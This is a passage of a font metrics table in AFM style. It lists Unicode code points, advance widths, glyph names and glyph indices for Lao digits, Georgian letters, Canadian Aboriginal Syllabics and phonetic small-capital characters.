U 3789 ; WX 0 ; N uni0ECD ; G 1404
U 3792 ; WX 771 ; N uni0ED0 ; G 1405
U 3793 ; WX 771 ; N uni0ED1 ; G 1406
U 3794 ; WX 693 ; N uni0ED2 ; G 1407
U 3795 ; WX 836 ; N uni0ED3 ; G 1408
U 3796 ; WX 729 ; N uni0ED4 ; G 1409
U 3797 ; WX 729 ; N uni0ED5 ; G 1410
U 3798 ; WX 849 ; N uni0ED6 ; G 1411
U 3799 ; WX 790 ; N uni0ED7 ; G 1412
U 3800 ; WX 759 ; N uni0ED8 ; G 1413
U 3801 ; WX 910 ; N uni0ED9 ; G 1414
U 3804 ; WX 1363 ; N uni0EDC ; G 1415
U 3805 ; WX 1363 ; N uni0EDD ; G 1416
U 4256 ; WX 874 ; N uni10A0 ; G 1417
U 4257 ; WX 733 ; N uni10A1 ; G 1418
U 4258 ; WX 679 ; N uni10A2 ; G 1419
U 4259 ; WX 834 ; N uni10A3 ; G 1420
U 4260 ; WX 615 ; N uni10A4 ; G 1421
U 4261 ; WX 768 ; N uni10A5 ; G 1422
U 4262 ; WX 753 ; N uni10A6 ; G 1423
U 4263 ; WX 914 ; N uni10A7 ; G 1424
U 4264 ; WX 453 ; N uni10A8 ; G 1425
U 4265 ; WX 620 ; N uni10A9 ; G 1426
U 4266 ; WX 843 ; N uni10AA ; G 1427
U 4267 ; WX 882 ; N uni10AB ; G 1428
U 4268 ; WX 625 ; N uni10AC ; G 1429
U 4269 ; WX 854 ; N uni10AD ; G 1430
U 4270 ; WX 781 ; N uni10AE ; G 1431
U 4271 ; WX 629 ; N uni10AF ; G 1432
U 4272 ; WX 912 ; N uni10B0 ; G 1433
U 4273 ; WX 621 ; N uni10B1 ; G 1434
U 4274 ; WX 620 ; N uni10B2 ; G 1435
U 4275 ; WX 854 ; N uni10B3 ; G 1436
U 4276 ; WX 866 ; N uni10B4 ; G 1437
U 4277 ; WX 724 ; N uni10B5 ; G 1438
U 4278 ; WX 630 ; N uni10B6 ; G 1439
U 4279 ; WX 621 ; N uni10B7 ; G 1440
U 4280 ; WX 625 ; N uni10B8 ; G 1441
U 4281 ; WX 620 ; N uni10B9 ; G 1442
U 4282 ; WX 818 ; N uni10BA ; G 1443
U 4283 ; WX 874 ; N uni10BB ; G 1444
U 4284 ; WX 615 ; N uni10BC ; G 1445
U 4285 ; WX 623 ; N uni10BD ; G 1446
U 4286 ; WX 625 ; N uni10BE ; G 1447
U 4287 ; WX 725 ; N uni10BF ; G 1448
U 4288 ; WX 844 ; N uni10C0 ; G 1449
U 4289 ; WX 596 ; N uni10C1 ; G 1450
U 4290 ; WX 688 ; N uni10C2 ; G 1451
U 4291 ; WX 596 ; N uni10C3 ; G 1452
U 4292 ; WX 594 ; N uni10C4 ; G 1453
U 4293 ; WX 738 ; N uni10C5 ; G 1454
U 4304 ; WX 554 ; N uni10D0 ; G 1455
U 4305 ; WX 563 ; N uni10D1 ; G 1456
U 4306 ; WX 622 ; N uni10D2 ; G 1457
U 4307 ; WX 834 ; N uni10D3 ; G 1458
U 4308 ; WX 550 ; N uni10D4 ; G 1459
U 4309 ; WX 559 ; N uni10D5 ; G 1460
U 4310 ; WX 546 ; N uni10D6 ; G 1461
U 4311 ; WX 828 ; N uni10D7 ; G 1462
U 4312 ; WX 563 ; N uni10D8 ; G 1463
U 4313 ; WX 556 ; N uni10D9 ; G 1464
U 4314 ; WX 1074 ; N uni10DA ; G 1465
U 4315 ; WX 563 ; N uni10DB ; G 1466
U 4316 ; WX 563 ; N uni10DC ; G 1467
U 4317 ; WX 814 ; N uni10DD ; G 1468
U 4318 ; WX 554 ; N uni10DE ; G 1469
U 4319 ; WX 559 ; N uni10DF ; G 1470
U 4320 ; WX 823 ; N uni10E0 ; G 1471
U 4321 ; WX 563 ; N uni10E1 ; G 1472
U 4322 ; WX 700 ; N uni10E2 ; G 1473
U 4323 ; WX 582 ; N uni10E3 ; G 1474
U 4324 ; WX 847 ; N uni10E4 ; G 1475
U 4325 ; WX 555 ; N uni10E5 ; G 1476
U 4326 ; WX 814 ; N uni10E6 ; G 1477
U 4327 ; WX 559 ; N uni10E7 ; G 1478
U 4328 ; WX 543 ; N uni10E8 ; G 1479
U 4329 ; WX 563 ; N uni10E9 ; G 1480
U 4330 ; WX 622 ; N uni10EA ; G 1481
U 4331 ; WX 563 ; N uni10EB ; G 1482
U 4332 ; WX 543 ; N uni10EC ; G 1483
U 4333 ; WX 566 ; N uni10ED ; G 1484
U 4334 ; WX 563 ; N uni10EE ; G 1485
U 4335 ; WX 530 ; N uni10EF ; G 1486
U 4336 ; WX 554 ; N uni10F0 ; G 1487
U 4337 ; WX 554 ; N uni10F1 ; G 1488
U 4338 ; WX 553 ; N uni10F2 ; G 1489
U 4339 ; WX 554 ; N uni10F3 ; G 1490
U 4340 ; WX 553 ; N uni10F4 ; G 1491
U 4341 ; WX 583 ; N uni10F5 ; G 1492
U 4342 ; WX 853 ; N uni10F6 ; G 1493
U 4343 ; WX 604 ; N uni10F7 ; G 1494
U 4344 ; WX 559 ; N uni10F8 ; G 1495
U 4345 ; WX 632 ; N uni10F9 ; G 1496
U 4346 ; WX 554 ; N uni10FA ; G 1497
U 4347 ; WX 448 ; N uni10FB ; G 1498
U 4348 ; WX 324 ; N uni10FC ; G 1499
U 5121 ; WX 774 ; N uni1401 ; G 1500
U 5122 ; WX 774 ; N uni1402 ; G 1501
U 5123 ; WX 774 ; N uni1403 ; G 1502
U 5124 ; WX 774 ; N uni1404 ; G 1503
U 5125 ; WX 905 ; N uni1405 ; G 1504
U 5126 ; WX 905 ; N uni1406 ; G 1505
U 5127 ; WX 905 ; N uni1407 ; G 1506
U 5129 ; WX 905 ; N uni1409 ; G 1507
U 5130 ; WX 905 ; N uni140A ; G 1508
U 5131 ; WX 905 ; N uni140B ; G 1509
U 5132 ; WX 1018 ; N uni140C ; G 1510
U 5133 ; WX 1009 ; N uni140D ; G 1511
U 5134 ; WX 1018 ; N uni140E ; G 1512
U 5135 ; WX 1009 ; N uni140F ; G 1513
U 5136 ; WX 1018 ; N uni1410 ; G 1514
U 5137 ; WX 1009 ; N uni1411 ; G 1515
U 5138 ; WX 1149 ; N uni1412 ; G 1516
U 5139 ; WX 1140 ; N uni1413 ; G 1517
U 5140 ; WX 1149 ; N uni1414 ; G 1518
U 5141 ; WX 1140 ; N uni1415 ; G 1519
U 5142 ; WX 905 ; N uni1416 ; G 1520
U 5143 ; WX 1149 ; N uni1417 ; G 1521
U 5144 ; WX 1142 ; N uni1418 ; G 1522
U 5145 ; WX 1149 ; N uni1419 ; G 1523
U 5146 ; WX 1142 ; N uni141A ; G 1524
U 5147 ; WX 905 ; N uni141B ; G 1525
U 5149 ; WX 310 ; N uni141D ; G 1526
U 5150 ; WX 529 ; N uni141E ; G 1527
U 5151 ; WX 425 ; N uni141F ; G 1528
U 5152 ; WX 425 ; N uni1420 ; G 1529
U 5153 ; WX 395 ; N uni1421 ; G 1530
U 5154 ; WX 395 ; N uni1422 ; G 1531
U 5155 ; WX 395 ; N uni1423 ; G 1532
U 5156 ; WX 395 ; N uni1424 ; G 1533
U 5157 ; WX 564 ; N uni1425 ; G 1534
U 5158 ; WX 470 ; N uni1426 ; G 1535
U 5159 ; WX 310 ; N uni1427 ; G 1536
U 5160 ; WX 395 ; N uni1428 ; G 1537
U 5161 ; WX 395 ; N uni1429 ; G 1538
U 5162 ; WX 395 ; N uni142A ; G 1539
U 5163 ; WX 1213 ; N uni142B ; G 1540
U 5164 ; WX 986 ; N uni142C ; G 1541
U 5165 ; WX 1216 ; N uni142D ; G 1542
U 5166 ; WX 1297 ; N uni142E ; G 1543
U 5167 ; WX 774 ; N uni142F ; G 1544
U 5168 ; WX 774 ; N uni1430 ; G 1545
U 5169 ; WX 774 ; N uni1431 ; G 1546
U 5170 ; WX 774 ; N uni1432 ; G 1547
U 5171 ; WX 886 ; N uni1433 ; G 1548
U 5172 ; WX 886 ; N uni1434 ; G 1549
U 5173 ; WX 886 ; N uni1435 ; G 1550
U 5175 ; WX 886 ; N uni1437 ; G 1551
U 5176 ; WX 886 ; N uni1438 ; G 1552
U 5177 ; WX 886 ; N uni1439 ; G 1553
U 5178 ; WX 1018 ; N uni143A ; G 1554
U 5179 ; WX 1009 ; N uni143B ; G 1555
U 5180 ; WX 1018 ; N uni143C ; G 1556
U 5181 ; WX 1009 ; N uni143D ; G 1557
U 5182 ; WX 1018 ; N uni143E ; G 1558
U 5183 ; WX 1009 ; N uni143F ; G 1559
U 5184 ; WX 1149 ; N uni1440 ; G 1560
U 5185 ; WX 1140 ; N uni1441 ; G 1561
U 5186 ; WX 1149 ; N uni1442 ; G 1562
U 5187 ; WX 1140 ; N uni1443 ; G 1563
U 5188 ; WX 1149 ; N uni1444 ; G 1564
U 5189 ; WX 1142 ; N uni1445 ; G 1565
U 5190 ; WX 1149 ; N uni1446 ; G 1566
U 5191 ; WX 1142 ; N uni1447 ; G 1567
U 5192 ; WX 886 ; N uni1448 ; G 1568
U 5193 ; WX 576 ; N uni1449 ; G 1569
U 5194 ; WX 229 ; N uni144A ; G 1570
U 5196 ; WX 812 ; N uni144C ; G 1571
U 5197 ; WX 812 ; N uni144D ; G 1572
U 5198 ; WX 812 ; N uni144E ; G 1573
U 5199 ; WX 812 ; N uni144F ; G 1574
U 5200 ; WX 815 ; N uni1450 ; G 1575
U 5201 ; WX 815 ; N uni1451 ; G 1576
U 5202 ; WX 815 ; N uni1452 ; G 1577
U 5204 ; WX 815 ; N uni1454 ; G 1578
U 5205 ; WX 815 ; N uni1455 ; G 1579
U 5206 ; WX 815 ; N uni1456 ; G 1580
U 5207 ; WX 1056 ; N uni1457 ; G 1581
U 5208 ; WX 1048 ; N uni1458 ; G 1582
U 5209 ; WX 1056 ; N uni1459 ; G 1583
U 5210 ; WX 1048 ; N uni145A ; G 1584
U 5211 ; WX 1056 ; N uni145B ; G 1585
U 5212 ; WX 1048 ; N uni145C ; G 1586
U 5213 ; WX 1060 ; N uni145D ; G 1587
U 5214 ; WX 1054 ; N uni145E ; G 1588
U 5215 ; WX 1060 ; N uni145F ; G 1589
U 5216 ; WX 1054 ; N uni1460 ; G 1590
U 5217 ; WX 1060 ; N uni1461 ; G 1591
U 5218 ; WX 1052 ; N uni1462 ; G 1592
U 5219 ; WX 1060 ; N uni1463 ; G 1593
U 5220 ; WX 1052 ; N uni1464 ; G 1594
U 5221 ; WX 1060 ; N uni1465 ; G 1595
U 5222 ; WX 483 ; N uni1466 ; G 1596
U 5223 ; WX 1005 ; N uni1467 ; G 1597
U 5224 ; WX 1005 ; N uni1468 ; G 1598
U 5225 ; WX 1023 ; N uni1469 ; G 1599
U 5226 ; WX 1017 ; N uni146A ; G 1600
U 5227 ; WX 743 ; N uni146B ; G 1601
U 5228 ; WX 743 ; N uni146C ; G 1602
U 5229 ; WX 743 ; N uni146D ; G 1603
U 5230 ; WX 743 ; N uni146E ; G 1604
U 5231 ; WX 743 ; N uni146F ; G 1605
U 5232 ; WX 743 ; N uni1470 ; G 1606
U 5233 ; WX 743 ; N uni1471 ; G 1607
U 5234 ; WX 743 ; N uni1472 ; G 1608
U 5235 ; WX 743 ; N uni1473 ; G 1609
U 5236 ; WX 1029 ; N uni1474 ; G 1610
U 5237 ; WX 975 ; N uni1475 ; G 1611
U 5238 ; WX 980 ; N uni1476 ; G 1612
U 5239 ; WX 975 ; N uni1477 ; G 1613
U 5240 ; WX 980 ; N uni1478 ; G 1614
U 5241 ; WX 975 ; N uni1479 ; G 1615
U 5242 ; WX 1029 ; N uni147A ; G 1616
U 5243 ; WX 975 ; N uni147B ; G 1617
U 5244 ; WX 1029 ; N uni147C ; G 1618
U 5245 ; WX 975 ; N uni147D ; G 1619
U 5246 ; WX 980 ; N uni147E ; G 1620
U 5247 ; WX 975 ; N uni147F ; G 1621
U 5248 ; WX 980 ; N uni1480 ; G 1622
U 5249 ; WX 975 ; N uni1481 ; G 1623
U 5250 ; WX 980 ; N uni1482 ; G 1624
U 5251 ; WX 501 ; N uni1483 ; G 1625
U 5252 ; WX 501 ; N uni1484 ; G 1626
U 5253 ; WX 938 ; N uni1485 ; G 1627
U 5254 ; WX 938 ; N uni1486 ; G 1628
U 5255 ; WX 938 ; N uni1487 ; G 1629
U 5256 ; WX 938 ; N uni1488 ; G 1630
U 5257 ; WX 743 ; N uni1489 ; G 1631
U 5258 ; WX 743 ; N uni148A ; G 1632
U 5259 ; WX 743 ; N uni148B ; G 1633
U 5260 ; WX 743 ; N uni148C ; G 1634
U 5261 ; WX 743 ; N uni148D ; G 1635
U 5262 ; WX 743 ; N uni148E ; G 1636
U 5263 ; WX 743 ; N uni148F ; G 1637
U 5264 ; WX 743 ; N uni1490 ; G 1638
U 5265 ; WX 743 ; N uni1491 ; G 1639
U 5266 ; WX 1029 ; N uni1492 ; G 1640
U 5267 ; WX 975 ; N uni1493 ; G 1641
U 5268 ; WX 1029 ; N uni1494 ; G 1642
U 5269 ; WX 975 ; N uni1495 ; G 1643
U 5270 ; WX 1029 ; N uni1496 ; G 1644
U 5271 ; WX 975 ; N uni1497 ; G 1645
U 5272 ; WX 1029 ; N uni1498 ; G 1646
U 5273 ; WX 975 ; N uni1499 ; G 1647
U 5274 ; WX 1029 ; N uni149A ; G 1648
U 5275 ; WX 975 ; N uni149B ; G 1649
U 5276 ; WX 1029 ; N uni149C ; G 1650
U 5277 ; WX 975 ; N uni149D ; G 1651
U 5278 ; WX 1029 ; N uni149E ; G 1652
U 5279 ; WX 975 ; N uni149F ; G 1653
U 5280 ; WX 1029 ; N uni14A0 ; G 1654
U 5281 ; WX 501 ; N uni14A1 ; G 1655
U 5282 ; WX 501 ; N uni14A2 ; G 1656
U 5283 ; WX 626 ; N uni14A3 ; G 1657
U 5284 ; WX 626 ; N uni14A4 ; G 1658
U 5285 ; WX 626 ; N uni14A5 ; G 1659
U 5286 ; WX 626 ; N uni14A6 ; G 1660
U 5287 ; WX 626 ; N uni14A7 ; G 1661
U 5288 ; WX 626 ; N uni14A8 ; G 1662
U 5289 ; WX 626 ; N uni14A9 ; G 1663
U 5290 ; WX 626 ; N uni14AA ; G 1664
U 5291 ; WX 626 ; N uni14AB ; G 1665
U 5292 ; WX 881 ; N uni14AC ; G 1666
U 5293 ; WX 854 ; N uni14AD ; G 1667
U 5294 ; WX 863 ; N uni14AE ; G 1668
U 5295 ; WX 874 ; N uni14AF ; G 1669
U 5296 ; WX 863 ; N uni14B0 ; G 1670
U 5297 ; WX 874 ; N uni14B1 ; G 1671
U 5298 ; WX 881 ; N uni14B2 ; G 1672
U 5299 ; WX 874 ; N uni14B3 ; G 1673
U 5300 ; WX 881 ; N uni14B4 ; G 1674
U 5301 ; WX 874 ; N uni14B5 ; G 1675
U 5302 ; WX 863 ; N uni14B6 ; G 1676
U 5303 ; WX 874 ; N uni14B7 ; G 1677
U 5304 ; WX 863 ; N uni14B8 ; G 1678
U 5305 ; WX 874 ; N uni14B9 ; G 1679
U 5306 ; WX 863 ; N uni14BA ; G 1680
U 5307 ; WX 436 ; N uni14BB ; G 1681
U 5308 ; WX 548 ; N uni14BC ; G 1682
U 5309 ; WX 436 ; N uni14BD ; G 1683
U 5312 ; WX 988 ; N uni14C0 ; G 1684
U 5313 ; WX 988 ; N uni14C1 ; G 1685
U 5314 ; WX 988 ; N uni14C2 ; G 1686
U 5315 ; WX 988 ; N uni14C3 ; G 1687
U 5316 ; WX 931 ; N uni14C4 ; G 1688
U 5317 ; WX 931 ; N uni14C5 ; G 1689
U 5318 ; WX 931 ; N uni14C6 ; G 1690
U 5319 ; WX 931 ; N uni14C7 ; G 1691
U 5320 ; WX 931 ; N uni14C8 ; G 1692
U 5321 ; WX 1238 ; N uni14C9 ; G 1693
U 5322 ; WX 1247 ; N uni14CA ; G 1694
U 5323 ; WX 1200 ; N uni14CB ; G 1695
U 5324 ; WX 1228 ; N uni14CC ; G 1696
U 5325 ; WX 1200 ; N uni14CD ; G 1697
U 5326 ; WX 1228 ; N uni14CE ; G 1698
U 5327 ; WX 931 ; N uni14CF ; G 1699
U 5328 ; WX 660 ; N uni14D0 ; G 1700
U 5329 ; WX 497 ; N uni14D1 ; G 1701
U 5330 ; WX 660 ; N uni14D2 ; G 1702
U 5331 ; WX 988 ; N uni14D3 ; G 1703
U 5332 ; WX 988 ; N uni14D4 ; G 1704
U 5333 ; WX 988 ; N uni14D5 ; G 1705
U 5334 ; WX 988 ; N uni14D6 ; G 1706
U 5335 ; WX 931 ; N uni14D7 ; G 1707
U 5336 ; WX 931 ; N uni14D8 ; G 1708
U 5337 ; WX 931 ; N uni14D9 ; G 1709
U 5338 ; WX 931 ; N uni14DA ; G 1710
U 5339 ; WX 931 ; N uni14DB ; G 1711
U 5340 ; WX 1231 ; N uni14DC ; G 1712
U 5341 ; WX 1247 ; N uni14DD ; G 1713
U 5342 ; WX 1283 ; N uni14DE ; G 1714
U 5343 ; WX 1228 ; N uni14DF ; G 1715
U 5344 ; WX 1283 ; N uni14E0 ; G 1716
U 5345 ; WX 1228 ; N uni14E1 ; G 1717
U 5346 ; WX 1228 ; N uni14E2 ; G 1718
U 5347 ; WX 1214 ; N uni14E3 ; G 1719
U 5348 ; WX 1228 ; N uni14E4 ; G 1720
U 5349 ; WX 1214 ; N uni14E5 ; G 1721
U 5350 ; WX 1283 ; N uni14E6 ; G 1722
U 5351 ; WX 1228 ; N uni14E7 ; G 1723
U 5352 ; WX 1283 ; N uni14E8 ; G 1724
U 5353 ; WX 1228 ; N uni14E9 ; G 1725
U 5354 ; WX 660 ; N uni14EA ; G 1726
U 5356 ; WX 886 ; N uni14EC ; G 1727
U 5357 ; WX 730 ; N uni14ED ; G 1728
U 5358 ; WX 730 ; N uni14EE ; G 1729
U 5359 ; WX 730 ; N uni14EF ; G 1730
U 5360 ; WX 730 ; N uni14F0 ; G 1731
U 5361 ; WX 730 ; N uni14F1 ; G 1732
U 5362 ; WX 730 ; N uni14F2 ; G 1733
U 5363 ; WX 730 ; N uni14F3 ; G 1734
U 5364 ; WX 730 ; N uni14F4 ; G 1735
U 5365 ; WX 730 ; N uni14F5 ; G 1736
U 5366 ; WX 998 ; N uni14F6 ; G 1737
U 5367 ; WX 958 ; N uni14F7 ; G 1738
U 5368 ; WX 967 ; N uni14F8 ; G 1739
U 5369 ; WX 989 ; N uni14F9 ; G 1740
U 5370 ; WX 967 ; N uni14FA ; G 1741
U 5371 ; WX 989 ; N uni14FB ; G 1742
U 5372 ; WX 998 ; N uni14FC ; G 1743
U 5373 ; WX 958 ; N uni14FD ; G 1744
U 5374 ; WX 998 ; N uni14FE ; G 1745
U 5375 ; WX 958 ; N uni14FF ; G 1746
U 5376 ; WX 967 ; N uni1500 ; G 1747
U 5377 ; WX 989 ; N uni1501 ; G 1748
U 5378 ; WX 967 ; N uni1502 ; G 1749
U 5379 ; WX 989 ; N uni1503 ; G 1750
U 5380 ; WX 967 ; N uni1504 ; G 1751
U 5381 ; WX 493 ; N uni1505 ; G 1752
U 5382 ; WX 460 ; N uni1506 ; G 1753
U 5383 ; WX 493 ; N uni1507 ; G 1754
U 5392 ; WX 923 ; N uni1510 ; G 1755
U 5393 ; WX 923 ; N uni1511 ; G 1756
U 5394 ; WX 923 ; N uni1512 ; G 1757
U 5395 ; WX 1136 ; N uni1513 ; G 1758
U 5396 ; WX 1136 ; N uni1514 ; G 1759
U 5397 ; WX 1136 ; N uni1515 ; G 1760
U 5398 ; WX 1136 ; N uni1516 ; G 1761
U 5399 ; WX 1209 ; N uni1517 ; G 1762
U 5400 ; WX 1202 ; N uni1518 ; G 1763
U 5401 ; WX 1209 ; N uni1519 ; G 1764
U 5402 ; WX 1202 ; N uni151A ; G 1765
U 5403 ; WX 1209 ; N uni151B ; G 1766
U 5404 ; WX 1202 ; N uni151C ; G 1767
U 5405 ; WX 1431 ; N uni151D ; G 1768
U 5406 ; WX 1420 ; N uni151E ; G 1769
U 5407 ; WX 1431 ; N uni151F ; G 1770
U 5408 ; WX 1420 ; N uni1520 ; G 1771
U 5409 ; WX 1431 ; N uni1521 ; G 1772
U 5410 ; WX 1420 ; N uni1522 ; G 1773
U 5411 ; WX 1431 ; N uni1523 ; G 1774
U 5412 ; WX 1420 ; N uni1524 ; G 1775
U 5413 ; WX 746 ; N uni1525 ; G 1776
U 5414 ; WX 776 ; N uni1526 ; G 1777
U 5415 ; WX 776 ; N uni1527 ; G 1778
U 5416 ; WX 776 ; N uni1528 ; G 1779
U 5417 ; WX 776 ; N uni1529 ; G 1780
U 5418 ; WX 776 ; N uni152A ; G 1781
U 5419 ; WX 776 ; N uni152B ; G 1782
U 5420 ; WX 776 ; N uni152C ; G 1783
U 5421 ; WX 776 ; N uni152D ; G 1784
U 5422 ; WX 776 ; N uni152E ; G 1785
U 5423 ; WX 1003 ; N uni152F ; G 1786
U 5424 ; WX 1003 ; N uni1530 ; G 1787
U 5425 ; WX 1013 ; N uni1531 ; G 1788
U 5426 ; WX 996 ; N uni1532 ; G 1789
U 5427 ; WX 1013 ; N uni1533 ; G 1790
U 5428 ; WX 996 ; N uni1534 ; G 1791
U 5429 ; WX 1003 ; N uni1535 ; G 1792
U 5430 ; WX 1003 ; N uni1536 ; G 1793
U 5431 ; WX 1003 ; N uni1537 ; G 1794
U 5432 ; WX 1003 ; N uni1538 ; G 1795
U 5433 ; WX 1013 ; N uni1539 ; G 1796
U 5434 ; WX 996 ; N uni153A ; G 1797
U 5435 ; WX 1013 ; N uni153B ; G 1798
U 5436 ; WX 996 ; N uni153C ; G 1799
U 5437 ; WX 1013 ; N uni153D ; G 1800
U 5438 ; WX 495 ; N uni153E ; G 1801
U 5440 ; WX 395 ; N uni1540 ; G 1802
U 5441 ; WX 510 ; N uni1541 ; G 1803
U 5442 ; WX 1033 ; N uni1542 ; G 1804
U 5443 ; WX 1033 ; N uni1543 ; G 1805
U 5444 ; WX 976 ; N uni1544 ; G 1806
U 5445 ; WX 976 ; N uni1545 ; G 1807
U 5446 ; WX 976 ; N uni1546 ; G 1808
U 5447 ; WX 976 ; N uni1547 ; G 1809
U 5448 ; WX 733 ; N uni1548 ; G 1810
U 5449 ; WX 733 ; N uni1549 ; G 1811
U 5450 ; WX 733 ; N uni154A ; G 1812
U 5451 ; WX 733 ; N uni154B ; G 1813
U 5452 ; WX 733 ; N uni154C ; G 1814
U 5453 ; WX 733 ; N uni154D ; G 1815
U 5454 ; WX 1003 ; N uni154E ; G 1816
U 5455 ; WX 959 ; N uni154F ; G 1817
U 5456 ; WX 495 ; N uni1550 ; G 1818
U 5458 ; WX 886 ; N uni1552 ; G 1819
U 5459 ; WX 774 ; N uni1553 ; G 1820
U 5460 ; WX 774 ; N uni1554 ; G 1821
U 5461 ; WX 774 ; N uni1555 ; G 1822
U 5462 ; WX 774 ; N uni1556 ; G 1823
U 5463 ; WX 928 ; N uni1557 ; G 1824
U 5464 ; WX 928 ; N uni1558 ; G 1825
U 5465 ; WX 928 ; N uni1559 ; G 1826
U 5466 ; WX 928 ; N uni155A ; G 1827
U 5467 ; WX 1172 ; N uni155B ; G 1828
U 5468 ; WX 1142 ; N uni155C ; G 1829
U 5469 ; WX 602 ; N uni155D ; G 1830
U 5470 ; WX 812 ; N uni155E ; G 1831
U 5471 ; WX 812 ; N uni155F ; G 1832
U 5472 ; WX 812 ; N uni1560 ; G 1833
U 5473 ; WX 812 ; N uni1561 ; G 1834
U 5474 ; WX 812 ; N uni1562 ; G 1835
U 5475 ; WX 812 ; N uni1563 ; G 1836
U 5476 ; WX 815 ; N uni1564 ; G 1837
U 5477 ; WX 815 ; N uni1565 ; G 1838
U 5478 ; WX 815 ; N uni1566 ; G 1839
U 5479 ; WX 815 ; N uni1567 ; G 1840
U 5480 ; WX 1060 ; N uni1568 ; G 1841
U 5481 ; WX 1052 ; N uni1569 ; G 1842
U 5482 ; WX 548 ; N uni156A ; G 1843
U 5492 ; WX 977 ; N uni1574 ; G 1844
U 5493 ; WX 977 ; N uni1575 ; G 1845
U 5494 ; WX 977 ; N uni1576 ; G 1846
U 5495 ; WX 977 ; N uni1577 ; G 1847
U 5496 ; WX 977 ; N uni1578 ; G 1848
U 5497 ; WX 977 ; N uni1579 ; G 1849
U 5498 ; WX 977 ; N uni157A ; G 1850
U 5499 ; WX 618 ; N uni157B ; G 1851
U 5500 ; WX 837 ; N uni157C ; G 1852
U 5501 ; WX 510 ; N uni157D ; G 1853
U 5502 ; WX 1238 ; N uni157E ; G 1854
U 5503 ; WX 1238 ; N uni157F ; G 1855
U 5504 ; WX 1238 ; N uni1580 ; G 1856
U 5505 ; WX 1238 ; N uni1581 ; G 1857
U 5506 ; WX 1238 ; N uni1582 ; G 1858
U 5507 ; WX 1238 ; N uni1583 ; G 1859
U 5508 ; WX 1238 ; N uni1584 ; G 1860
U 5509 ; WX 989 ; N uni1585 ; G 1861
U 5514 ; WX 977 ; N uni158A ; G 1862
U 5515 ; WX 977 ; N uni158B ; G 1863
U 5516 ; WX 977 ; N uni158C ; G 1864
U 5517 ; WX 977 ; N uni158D ; G 1865
U 5518 ; WX 1591 ; N uni158E ; G 1866
U 5519 ; WX 1591 ; N uni158F ; G 1867
U 5520 ; WX 1591 ; N uni1590 ; G 1868
U 5521 ; WX 1295 ; N uni1591 ; G 1869
U 5522 ; WX 1295 ; N uni1592 ; G 1870
U 5523 ; WX 1591 ; N uni1593 ; G 1871
U 5524 ; WX 1591 ; N uni1594 ; G 1872
U 5525 ; WX 848 ; N uni1595 ; G 1873
U 5526 ; WX 1273 ; N uni1596 ; G 1874
U 5536 ; WX 988 ; N uni15A0 ; G 1875
U 5537 ; WX 988 ; N uni15A1 ; G 1876
U 5538 ; WX 931 ; N uni15A2 ; G 1877
U 5539 ; WX 931 ; N uni15A3 ; G 1878
U 5540 ; WX 931 ; N uni15A4 ; G 1879
U 5541 ; WX 931 ; N uni15A5 ; G 1880
U 5542 ; WX 660 ; N uni15A6 ; G 1881
U 5543 ; WX 776 ; N uni15A7 ; G 1882
U 5544 ; WX 776 ; N uni15A8 ; G 1883
U 5545 ; WX 776 ; N uni15A9 ; G 1884
U 5546 ; WX 776 ; N uni15AA ; G 1885
U 5547 ; WX 776 ; N uni15AB ; G 1886
U 5548 ; WX 776 ; N uni15AC ; G 1887
U 5549 ; WX 776 ; N uni15AD ; G 1888
U 5550 ; WX 495 ; N uni15AE ; G 1889
U 5551 ; WX 743 ; N uni15AF ; G 1890
U 5598 ; WX 830 ; N uni15DE ; G 1891
U 5601 ; WX 830 ; N uni15E1 ; G 1892
U 5702 ; WX 496 ; N uni1646 ; G 1893
U 5703 ; WX 496 ; N uni1647 ; G 1894
U 5742 ; WX 413 ; N uni166E ; G 1895
U 5743 ; WX 1238 ; N uni166F ; G 1896
U 5744 ; WX 1591 ; N uni1670 ; G 1897
U 5745 ; WX 2016 ; N uni1671 ; G 1898
U 5746 ; WX 2016 ; N uni1672 ; G 1899
U 5747 ; WX 1720 ; N uni1673 ; G 1900
U 5748 ; WX 1678 ; N uni1674 ; G 1901
U 5749 ; WX 2016 ; N uni1675 ; G 1902
U 5750 ; WX 2016 ; N uni1676 ; G 1903
U 7424 ; WX 652 ; N uni1D00 ; G 1904
U 7425 ; WX 833 ; N uni1D01 ; G 1905
U 7426 ; WX 1048 ; N uni1D02 ; G 1906
U 7427 ; WX 608 ; N uni1D03 ; G 1907
U 7428 ; WX 593 ; N uni1D04 ; G 1908
U 7429 ; WX 676 ; N uni1D05 ; G 1909
U 7430 ; WX 676 ; N uni1D06 ; G 1910
U 7431 ; WX 559 ; N uni1D07 ; G 1911
U 7432 ; WX 557 ; N uni1D08 ; G 1912
U 7433 ; WX 343 ; N uni1D09 ; G 1913
U 7434 ; WX 494 ; N uni1D0A ; G 1914
U 7435 ; WX 665 ; N uni1D0B ; G 1915
U 7436 ; WX 539 ; N uni1D0C ; G 1916
U 7437 ; WX 817 ; N uni1D0D ; G 1917
U 7438 ; WX 701 ; N uni1D0E ; G 1918
U 7439 ; WX 687 ; N uni1D0F ; G 1919
U 7440 ; WX 593 ; N uni1D10 ; G 1920
U 7441 ; WX 660 ; N uni1D11 ; G 1921
U 7442 ; WX 660 ; N uni1D12 ; G 1922
U 7443 ; WX 660 ; N uni1D13 ; G 1923
U 7444 ; WX 1094 ; N uni1D14 ; G 1924
U 7446 ; WX 687 ; N uni1D16 ; G 1925
U 7447 ; WX 687 ; N uni1D17 ; G 1926
U 7448 ; WX 556 ; N uni1D18 ; G 1927
U 7449 ; WX 642 ; N uni1D19 ; G 1928
U 7450 ; WX 642 ; N uni1D1A ; G 1929
U 7451 ; WX 580 ; N uni1D1B ; G 1930
U 7452 ; WX 634 ; N uni1D1C ; G 1931
U 7453 ; WX 737 ; N uni1D1D ; G 1932
U 7454 ; WX 948 ; N uni1D1E ; G 1933
U 7455 ; WX 695 ; N uni1D1F ; G 1934
U 7456 ; WX 652 ; N uni1D20 ; G 1935
U 7457 ; WX 924 ; N uni1D21 ; G 1936
U 7458 ; WX 582 ; N uni1D22 ; G 1937
U 7459 ; WX 646 ; N uni1D23 ; G 1938
U 7462 ; WX 539 ; N uni1D26 ; G 1939
U 7463 ; WX 652 ; N uni1D27 ; G 1940
U 7464 ; WX 691 ; N uni1D28 ; G 1941
U 7465 ; WX 556 ; N uni1D29 ; G 1942
U 7466 ; WX 781 ; N uni1D2A ; G 1943
U 7467 ; WX 732 ; N uni1D2B ; G 1944
U 7468 ; WX 487 ; N uni1D2C ; G 1945
U 7469 ; WX 683 ; N uni1D2D ; G 1946
U 7470 ; WX 480 ; N uni1D2E ; G 1947
U 7472 ; WX 523 ; N uni1D30 ; G 1948
U 7473 ; WX 430 ; N uni1D31 ; G 1949
